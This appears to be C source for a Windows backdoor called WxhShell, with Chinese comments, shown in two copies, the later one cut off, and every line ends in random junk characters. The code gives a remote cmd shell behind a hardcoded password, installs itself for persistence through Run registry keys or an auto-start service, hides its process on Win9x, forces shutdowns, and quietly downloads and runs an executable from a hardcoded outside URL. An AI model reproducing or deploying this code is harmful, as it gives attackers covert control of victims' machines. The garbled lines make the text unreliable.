    if(Boot(SHUTDOWN)) )|zLjF$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Etj@wy/E  
    else { 2ntL7F<ow  
    closesocket(wsh); 9-5H~<}fF  
    ExitThread(0); &iORB  
    } FxW~Co  
    break; 3)3?/y)_  
    } jEo)#j];`<  
  // 获取shell 59 R;n.Q  
  case 's': { !#Ub*qY1Z  
    CmdShell(wsh); i]Njn k  
    closesocket(wsh); scT,yNV  
    ExitThread(0); I x kL]  
    break; uD4on}  
  } (p>?0h9[  
  // 退出 TgoaEufS<  
  case 'x': { ,( u- x!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qs 6r9?KP  
    CloseIt(wsh); Yw7txp`i  
    break; '1'De^%6W  
    } b bCH(fYbu  
  // 离开 NO+.n)etGb  
  case 'q': { W US[hx,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zk#"n&u0  
    closesocket(wsh); G)t_;iNL|  
    WSACleanup(); i&=I5$  
    exit(1); piULIZ0  
    break; mSdByT+dG  
        } z@Pv~"  
  } <n? cRk'.  
  } l!qhK'']V"  
j*Uz.q?  
  // 提示信息 3dheT}XV?p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 41Ga-0p  
} 4&N#d;ErC  
  } XB0G7o%1  
[ ICFPY6  
  return; CiF(   
} )cP &c=  
}$%j}F{  
// shell模块句柄 M$YU_RPl+  
int CmdShell(SOCKET sock) Zaime  
{ ,=>Ws:j  
STARTUPINFO si; B! +rO~  
ZeroMemory(&si,sizeof(si)); ad)jw:n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /]pJ(FFC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xbqFek$/r  
PROCESS_INFORMATION ProcessInfo; J,(@1R]KF:  
char cmdline[]="cmd"; fab. %$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w}|XSJ!  
  return 0; HKp|I%b]J  
} UlP2VKM1&  
S3oyx#R('O  
// 自身启动模式 X<8?>#  
int StartFromService(void) `)~]3zmG  
{ p>oC.[:4a  
typedef struct #ME!G/  
{ "%peYNZ&%  
  DWORD ExitStatus; Fc&3tw"g  
  DWORD PebBaseAddress; 76::X:76  
  DWORD AffinityMask; d?ru8  
  DWORD BasePriority; `D-P}hDm!  
  ULONG UniqueProcessId; j)nL!":O  
  ULONG InheritedFromUniqueProcessId; 6C'W  
}   PROCESS_BASIC_INFORMATION; U_Jchi,!  
S4 j5-  
PROCNTQSIP NtQueryInformationProcess; Jn7T5$pJ  
#B2a?   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TW?_fse*[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )d~{gPr.  
)2sE9G,  
  HANDLE             hProcess; S2i*Li  
  PROCESS_BASIC_INFORMATION pbi; q]scKWYI  
Y-?0!a=e.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |E?PQ?P  
  if(NULL == hInst ) return 0; r=Tz++!  
#Mw 6>5}<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 22OfbwCb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #7Fdmnu`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^%n]_[RUn4  
vmzc0J+3p  
  if (!NtQueryInformationProcess) return 0; YjCHKI"e  
#Z. QMWq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o;TS69|D  
  if(!hProcess) return 0; VQ"Z3L3-4  
!n7'TM '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?kIyo  
"hmLe(jo}  
  CloseHandle(hProcess); '@/1e\-y  
-1{f(/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;A6%YY  
if(hProcess==NULL) return 0; ,xw1B-dx  
Tbp;xv_qo  
HMODULE hMod; f@@7?5fW  
char procName[255]; l"zA~W/  
unsigned long cbNeeded; ;~-ZN?8   
G{.[o6>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ct][B{  
jj&mRF0gCb  
  CloseHandle(hProcess); I A%ZCdA;  
hpc&s  
if(strstr(procName,"services")) return 1; // 以服务启动 B[ .$<$}G  
w/z o  
  return 0; // 注册表启动 b/{$#[oP`  
} 8NkyT_\  
3,'LW}  
// 主模块 qRSoF04!R  
int StartWxhshell(LPSTR lpCmdLine) N~uc%wOA  
{ S zNZY&8 f  
  SOCKET wsl; h#p[6}D  
BOOL val=TRUE; htT9Hrx  
  int port=0; {'Y()p3kl  
  struct sockaddr_in door; ;`O9YbP#  
\G#_z|'dN  
  if(wscfg.ws_autoins) Install(); 5X>K#N  
%[, R Q">v  
port=atoi(lpCmdLine); =8v NOvA  
KE.O>M ,I.  
if(port<=0) port=wscfg.ws_port; ;hPVe _/  
%iB,hGatE  
  WSADATA data; NCdDG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -%Rw2@vU  
v#lrF\G5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZZw2m@T>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fH@cC`  
  door.sin_family = AF_INET; IL`LI J:O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =xQPg0g  
  door.sin_port = htons(port); v%r/PHw  
O>N/6Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {)iiu  
closesocket(wsl); 6j8\3H~  
return 1; e*}*3kw)T  
} Sp6==(:.  
1s~rWnhVv  
  if(listen(wsl,2) == INVALID_SOCKET) { u/<ZGW(&s(  
closesocket(wsl); !</U"P:L  
return 1; kbL7Xjk  
} deQ {  
  Wxhshell(wsl); l{*m-u5&;  
  WSACleanup(); pIV |hb!G  
qnHjwMi  
return 0; ]- 6q`'?[  
%"cOX  
} ^OV!Q\j.q  
lN&+<>a  
// 以NT服务方式启动 >z~_s6#CP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T X iu/g(  
{ ] g<$f#S  
DWORD   status = 0; $EHF f$M  
  DWORD   specificError = 0xfffffff; ub!l Hl  
\!hd|j?&6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -Bq]E,Xf)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x ;~;Ah.p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;HBKOe_3  
  serviceStatus.dwWin32ExitCode     = 0; rb}fP #j  
  serviceStatus.dwServiceSpecificExitCode = 0; fWC(L s  
  serviceStatus.dwCheckPoint       = 0; +PnuWK$  
  serviceStatus.dwWaitHint       = 0; HE{UgU:tY  
E,F^!4 rJ$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rp;"]Q&b  
  if (hServiceStatusHandle==0) return; 2}7_Y6RS*  
_k : BY  
status = GetLastError(); '4 It>50b  
  if (status!=NO_ERROR) w_V A:]j4  
{ s$zm)y5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y4w]jIv  
    serviceStatus.dwCheckPoint       = 0; fN@ZJ~F%j  
    serviceStatus.dwWaitHint       = 0; P* i 'uN  
    serviceStatus.dwWin32ExitCode     = status; <2oMk#Ng^  
    serviceStatus.dwServiceSpecificExitCode = specificError; & kVa*O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qn|8Ic` *  
    return; G)^/#d#&  
  } skXzck  
{0lu>?<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /NjBC[P  
  serviceStatus.dwCheckPoint       = 0; auB 931|  
  serviceStatus.dwWaitHint       = 0; :{^~&jgL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w#hg_RK(Jr  
} k]C k%[d  
KgbBa2@ +  
// 处理NT服务事件,比如:启动、停止 R>Dr1fc}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ).`v&-cK4E  
{ ,;hpqu|  
switch(fdwControl)  Lagk   
{ ;&gk)w6*  
case SERVICE_CONTROL_STOP: 4%zy$,|e  
  serviceStatus.dwWin32ExitCode = 0; BeLqk3'/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +)bn}L>R l  
  serviceStatus.dwCheckPoint   = 0; 3.Yg3&"Z  
  serviceStatus.dwWaitHint     = 0; GLESngAl  
  { .#Nf0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E|>-7k")  
  } kN3 <l7  
  return; ~(^pGL3<  
case SERVICE_CONTROL_PAUSE: Kxa1F,dZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $m~&| s  
  break; qou\4YZ  
case SERVICE_CONTROL_CONTINUE: ~QlF(@u e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #AP;GoIf"j  
  break; Z m%,L$F*L  
case SERVICE_CONTROL_INTERROGATE: $=,pQ q  
  break; vE8BB$D  
}; 7QnWw0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mA$86 X_  
} 1=5HQ~|[TO  
[mQ1r*[j  
// 标准应用程序主函数 si)>:e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nd"IW${Kg  
{ *!TQC6b$  
@%*2\8}C!  
// 获取操作系统版本 A`JE(cIz3  
OsIsNt=GetOsVer(); 2LR y/ah  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fVgN8b|&'  
I^( pZ9  
  // 从命令行安装 x:4R?!M.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7]{t^*  
nS h~ mP  
  // 下载执行文件 CbW[_\  
if(wscfg.ws_downexe) { [&4+ <Nl'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '_V9FWDZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); lyFlJmi,r  
} KQb&7k .  
V_ , `?>O  
if(!OsIsNt) { iPV-w_HQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 &]LpGl  
HideProc(); d (x'\4(K  
StartWxhshell(lpCmdLine); 3uxf n=E  
} %.u*nM7sos  
else ab2Cn|F  
  if(StartFromService()) -BI!ZsC'  
  // 以服务方式启动 $Zo|t a^  
  StartServiceCtrlDispatcher(DispatchTable); ;]0d{  
else Fbu4GRgJ3  
  // 普通方式启动 Mh2b!B  
  StartWxhshell(lpCmdLine); =H8FV09x}  
hu} vYA7ZH  
return 0; :j .:t  
} tY]?2u%)  
;+(_stxqV9  
/n(0w`   
`p9N| V  
=========================================== #:N#i  
[;7zg@Sa  
4i{Xs5zk  
nA_'j l  
ZklpnL*!  
^'`(E_2u  
" i!8"T#  
ME0u|_dPjz  
#include <stdio.h> T [xIn+w  
#include <string.h> @VW1^{.do^  
#include <windows.h> AZ4?N.X?  
#include <winsock2.h> OI6Mx$  
#include <winsvc.h> RQ[/s lg  
#include <urlmon.h> iX{2U lF7  
&y1iLk h^  
#pragma comment (lib, "Ws2_32.lib") ?D2a"a$^  
#pragma comment (lib, "urlmon.lib") <XG]aYBR  
9 Xl#$d5  
#define MAX_USER   100 // 最大客户端连接数 6{^\7`  
#define BUF_SOCK   200 // sock buffer +>1?ck  
#define KEY_BUFF   255 // 输入 buffer t3?I4HQ  
T%& vq6  
#define REBOOT     0   // 重启 zj] g^c;  
#define SHUTDOWN   1   // 关机 8<T~AU8'*  
sRZ<c  
#define DEF_PORT   5000 // 监听端口 F(."nUrf  
T(Q ~b  
#define REG_LEN     16   // 注册表键长度 dmXfz D  
#define SVC_LEN     80   // NT服务名长度 wT- <#+L\  
j!!s>7IZ  
// 从dll定义API 0wNlt#G;{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xg7KU&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =O"]e/CfO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B0gD4MX/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @iV-pJ-  
E9I08AODS  
// wxhshell配置信息 [t3 Kgjt  
struct WSCFG { rjWtioZEa  
  int ws_port;         // 监听端口 r,.j^a  
  char ws_passstr[REG_LEN]; // 口令 K-\wx5#l/  
  int ws_autoins;       // 安装标记, 1=yes 0=no b?KdR5  
  char ws_regname[REG_LEN]; // 注册表键名 )\:IRr"  
  char ws_svcname[REG_LEN]; // 服务名 2jC:uk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ogQfzk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z}0xK6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gsEcvkj*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LFxk.-{=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +%,oq ]<[,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LI3L~6A>  
)P b$  
}; N0^SWA|S  
jlF3LK)9q  
// default Wxhshell configuration }riM-  
struct WSCFG wscfg={DEF_PORT, $ -<(geI  
    "xuhuanlingzhe", ^yc8is'`  
    1, )4qspy3  
    "Wxhshell", S .x>w/  
    "Wxhshell", "|dhmV[;  
            "WxhShell Service", ?)(/SZC0  
    "Wrsky Windows CmdShell Service", ]o"E 4Vht  
    "Please Input Your Password: ", )V>OND  
  1, |hi,]D^Kc  
  "http://www.wrsky.com/wxhshell.exe", fV Y I  
  "Wxhshell.exe" G8__6v~  
    }; T-ST M"~%  
DMsqTB`  
// 消息定义模块 !e<2o2~.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z8"1*V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _<mY|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v9r.w-  
char *msg_ws_ext="\n\rExit."; {*hvzS{1d  
char *msg_ws_end="\n\rQuit."; e~(e&4pb  
char *msg_ws_boot="\n\rReboot..."; !idVF!xG  
char *msg_ws_poff="\n\rShutdown..."; :7.k E  
char *msg_ws_down="\n\rSave to "; D=3Z] 'A  
z7:* ,X  
char *msg_ws_err="\n\rErr!"; @J 5TDq @  
char *msg_ws_ok="\n\rOK!"; tw<Oy^ i  
ak_y:O|  
char ExeFile[MAX_PATH]; O%>*=h`P  
int nUser = 0; ge?or]T1S  
HANDLE handles[MAX_USER]; 6S n&; ap  
int OsIsNt; Z?=o(hkd  
f'5 6IT  
SERVICE_STATUS       serviceStatus; nt()UC`5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $MQ<QP  
/{[<J<(8  
// 函数声明 {.e+?V2>_  
int Install(void); /*BU5  
int Uninstall(void); GT] >  
int DownloadFile(char *sURL, SOCKET wsh); YuVlD/  
int Boot(int flag); s#a`e]#?  
void HideProc(void); /Ta-3Eh!  
int GetOsVer(void); #W8?E_iu  
int Wxhshell(SOCKET wsl); }AB_i'C0  
void TalkWithClient(void *cs); u8>aO>(bVg  
int CmdShell(SOCKET sock); J %A=  
int StartFromService(void); ]9w8[T:O  
int StartWxhshell(LPSTR lpCmdLine); %{rb,6  
p9 ,[kb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5RWqHPw+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cH5  
sm{0o$\Z  
// 数据结构和表定义 MS#*3Md&y  
SERVICE_TABLE_ENTRY DispatchTable[] = nu1XT 1q1  
{ Xr8fmJtg'  
{wscfg.ws_svcname, NTServiceMain}, z^tzP~nI  
{NULL, NULL} T*#M'H7LSQ  
}; 0nD?X+u  
D4hT Hh  
// 自我安装 U*yOe*>  
int Install(void) QP50.P5g  
{ *JFkqbf  
  char svExeFile[MAX_PATH]; B-KMlHe  
  HKEY key; n^|xp;] :  
  strcpy(svExeFile,ExeFile); &0bq3JGW  
"HqmS  
// 如果是win9x系统,修改注册表设为自启动 P* &0HbJ  
if(!OsIsNt) { }vY^e OK.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,\&r\!=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z3L=K9)  
  RegCloseKey(key); =ca[*0^Z7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [tt{wl"E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ??.aLeF&  
  RegCloseKey(key); 8`)* ?Q9~  
  return 0; 0n2H7}Uq  
    } Gukvd6-g9b  
  } Srmr`[i  
} xgkCN$zQ`  
else { V{q*hQd_3  
pnp8`\cIH  
// 如果是NT以上系统,安装为系统服务 p&<n_b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CC3 i@  
if (schSCManager!=0) WW6-oQs_#*  
{ FMF  mn|  
  SC_HANDLE schService = CreateService 4t%Lo2v!X%  
  ( i!UT =  
  schSCManager, k}nGgd6XD  
  wscfg.ws_svcname, x_<#28H!  
  wscfg.ws_svcdisp, `~VL&o1>  
  SERVICE_ALL_ACCESS, v9 /37AU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .L%pWRxA[  
  SERVICE_AUTO_START, r 9M3rj]  
  SERVICE_ERROR_NORMAL, QbSLSMoL  
  svExeFile, acUyz2x  
  NULL, ZWS:-]P.  
  NULL, - uO(qUa#  
  NULL, *6AqRE  
  NULL, L ..  
  NULL ~J~R.r/  
  ); gq*W 0S  
  if (schService!=0) T@P~A)>yo  
  { )OFN0'  
  CloseServiceHandle(schService); : 4-pnn  
  CloseServiceHandle(schSCManager); Dmy=_j?ej  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :~W(#T,$E  
  strcat(svExeFile,wscfg.ws_svcname); keD?#yY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ju;OQC~[L]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iumwhb  
  RegCloseKey(key); XA>uCJf  
  return 0; rB]2qk`/'  
    } ~rjK*_3/  
  } f9Xa}*  
  CloseServiceHandle(schSCManager); [X]hb7-&  
} ~fL`aU&  
} z!b:|*m]w  
%1#|>^  
return 1; dZ* &3.#D5  
} Y$Rte .?  
m*iSW]&  
// 自我卸载 5$> buYF  
int Uninstall(void) S[y_Ew zq  
{ 0<4'pO.6Hq  
  HKEY key; p-(V2SP/)t  
bYem0hzOe  
if(!OsIsNt) { @C[p?ak  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jZmL7 V  
  RegDeleteValue(key,wscfg.ws_regname); e&ZH 1^O  
  RegCloseKey(key); 1TfFWlf[B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Xid"$  
  RegDeleteValue(key,wscfg.ws_regname); jg%mWiKwK7  
  RegCloseKey(key); Oi~Dio_?  
  return 0; G[>CBh5  
  } (yuOY/~k/  
} |cuKC \  
} 0d:t=LKw)  
else { :wRfk*Ly  
@Ss W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v;?W|kJ.u  
if (schSCManager!=0) uhaHY`w  
{ Ywt9^M|z;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _^RN$4.R>  
  if (schService!=0) O#J7GbrHO  
  { %$)Sz[=  
  if(DeleteService(schService)!=0) { LB$0'dZU  
  CloseServiceHandle(schService); zZ51jA9x  
  CloseServiceHandle(schSCManager); qJl DQc-  
  return 0; J%q)6&  
  } "9Q_lVI|Q  
  CloseServiceHandle(schService); E;4dlL`*  
  } A4d3hF~l`  
  CloseServiceHandle(schSCManager); mrG#ox4$  
} ]0(ZlpT  
} N^F5J  
m@D :t 5  
return 1; IvQuxs&a  
} qyy .&+  
{A ,w%  
// 从指定url下载文件 -cn`D2RP  
int DownloadFile(char *sURL, SOCKET wsh) {H9g&pfv  
{ xi ,fm  
  HRESULT hr; 5BLBcw\;  
char seps[]= "/"; ?l @=}WN  
char *token; ?uP5("c  
char *file; i~<.@&vt  
char myURL[MAX_PATH]; &"Cy&[  
char myFILE[MAX_PATH]; x2b t^!t.  
Ag(JSVY  
strcpy(myURL,sURL); \7$"i5  
  token=strtok(myURL,seps); `GY]JVW  
  while(token!=NULL) qn{9vr  
  { EUgKJ=jw  
    file=token; Dcs O~mg  
  token=strtok(NULL,seps); #-"C_~-MH  
  } p R`nQM-D  
d:]ZFk_*  
GetCurrentDirectory(MAX_PATH,myFILE); ]*)l_mut7  
strcat(myFILE, "\\"); 6y?uH; SL  
strcat(myFILE, file); # X{lV]Z  
  send(wsh,myFILE,strlen(myFILE),0); w9gfva$&  
send(wsh,"...",3,0); {VM^K1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y6G6wk;  
  if(hr==S_OK) mL;oR4{  
return 0; m*7RC4"J  
else mmNn,>AO!  
return 1; qI74a F  
1[a#blL6W  
} "18cD5-#  
CA$|3m9)NM  
// 系统电源模块  aqi]5,  
int Boot(int flag) 8r0;054  
{ G/(tgQ  
  HANDLE hToken; H2+Ijn19E  
  TOKEN_PRIVILEGES tkp; @qA11C.hq  
pVjOp~=U  
  if(OsIsNt) { 6HVX4Z#VH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /;}o0 DYeW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {irl}EeyC  
    tkp.PrivilegeCount = 1; bi-z%!Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2G:KaQ)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FiXE0ZI$0q  
if(flag==REBOOT) { Kj4L PG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yfz`or\@=  
  return 0; ^8?px&B y:  
} (ze9-!%  
else { K)n058PO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ogh,  
  return 0; \K Kt& bKL  
} ^O"o-3dte  
  } v//Drj  
  else { `'bu8JK  
if(flag==REBOOT) { mD?={*7%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {HVsRpNEf  
  return 0; |F ~U  
} "p>kiNu  
else { $ 93j;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b'`C<Rk  
  return 0; 4C;"4''L  
} H$zDk  
} =%[vHQ\%  
`w "ooK  
return 1; 4/2@^\?i)  
} 99~-TiU  
bl|)/)6o  
// win9x进程隐藏模块 2jP(D%n  
void HideProc(void) IG:CWPU  
{ qUQP.4Z95  
"1Y DT-I"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); og*ti!Z  
  if ( hKernel != NULL ) >T\^dHtz  
  { eFQz G+/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H]{`q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vg"vC  
    FreeLibrary(hKernel); OeQ~g-n  
  } j#H&~f  
S09Xe_q  
return; ]4 \6_J&  
} HJe6h. P  
Fa X3@Sd!  
// 获取操作系统版本 0v3 8LBH)  
int GetOsVer(void) '|yBz1uL  
{ }ol<DV  
  OSVERSIONINFO winfo; G98fBw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IfCa6g<&(  
  GetVersionEx(&winfo); 0A75)T=lQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bthp_cSmLs  
  return 1; =u5( zaBe  
  else 5J6~]J  
  return 0; '@5"p.  
}  S^5Qhv  
M(Yt9}Z%Y  
// 客户端句柄模块 vH"^a/95|  
int Wxhshell(SOCKET wsl) nc#} \  
{ M&rbXi.  
  SOCKET wsh; lBG"COu  
  struct sockaddr_in client; CG!9{&F  
  DWORD myID; xl(R|D))  
gI+dyoh  
  while(nUser<MAX_USER) !qs3fe<uh"  
{ {>X2\.Rl  
  int nSize=sizeof(client); v 5&8C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,e*WJh8k[  
  if(wsh==INVALID_SOCKET) return 1; AIM<mU  
'W p~8}i@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mbIHzzW>  
if(handles[nUser]==0) A] f^9F@  
  closesocket(wsh); %^;rYn3  
else *adwCiB  
  nUser++; B(R$5Xp  
  } -JdNA2P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h,i=Y+1  
90a!_8o  
  return 0; LH q~`  
} @u-CR8^  
D.w6/DxaXa  
// 关闭 socket '=ydU+X  
void CloseIt(SOCKET wsh) .fNLhyd  
{ Ot~buf'|  
closesocket(wsh); #sf1,k5'  
nUser--; TA"gU8YQ  
ExitThread(0); x\Kt}/97e  
} zi+NQOhR  
"Q1oSpF  
// 客户端请求句柄 mf gUf  
void TalkWithClient(void *cs) lnrs4s Km  
{ =n_>7@9l  
&^F'ME  
  SOCKET wsh=(SOCKET)cs; z3|5E#m  
  char pwd[SVC_LEN]; *7yrm&@nG  
  char cmd[KEY_BUFF]; Lr(My3vF8q  
char chr[1]; *V@t]d$=#  
int i,j; %$+bO/f  
O|&SL03Z8  
  while (nUser < MAX_USER) { FOSC#W9E  
BvpUcICJ  
if(wscfg.ws_passstr) {  0gJ{fcI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ua%j}%G(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M4L<u,\1s  
  //ZeroMemory(pwd,KEY_BUFF); yOm#c>X  
      i=0; sbq:8P#  
  while(i<SVC_LEN) { ?#/~ BZR!  
tr%VYc|}  
  // 设置超时 "0?" E\  
  fd_set FdRead; 207h$a,  
  struct timeval TimeOut; 6oq/\D$6~  
  FD_ZERO(&FdRead); |h2=9\:]  
  FD_SET(wsh,&FdRead); 81S0:=   
  TimeOut.tv_sec=8; L&Pj0K-HT3  
  TimeOut.tv_usec=0; -dH]_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V`"Cd?R0Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d+IN-lR(  
0@}:`OynX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < *db%{  
  pwd=chr[0]; `s_k+ g  
  if(chr[0]==0xd || chr[0]==0xa) { HurF4IsHk  
  pwd=0; nM H:7[x3  
  break; ;^so;>F  
  } 8MBvp*  
  i++; ?l ](RI  
    } S1_):JvV  
a}kPc}n\  
  // 如果是非法用户,关闭 socket 3q0S}<h al  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #i-b|J+%  
} X;yThb` iI  
SM[VHNr,-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lxtt+R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n@//d.T  
IMHt#M`  
while(1) { X/A(8rvCr  
dY.NQ1@"  
  ZeroMemory(cmd,KEY_BUFF); KzLkT7,y+  
qXB5wDJg  
      // 自动支持客户端 telnet标准   !+3nlG4cw  
  j=0; 6@ =ipPCR  
  while(j<KEY_BUFF) { 5DVSaI$ =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zB#.EW  
  cmd[j]=chr[0]; 2%~+c|TH.)  
  if(chr[0]==0xa || chr[0]==0xd) { c^}DBvG,  
  cmd[j]=0; 4siq  
  break; ryt`yO  
  } /3qKsv#  
  j++; $NwPGy?%  
    } z v:o$2Z  
)W!\D/C+  
  // 下载文件 7G  3e  
  if(strstr(cmd,"http://")) { |:LklpdYe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }syU(];s  
  if(DownloadFile(cmd,wsh)) 3ZX#6*(}2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); He  LW*  
  else Ap!i-E,"J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !w:pb7+G  
  } (kSb74*g  
  else { dRXrI  
w,;ox2  
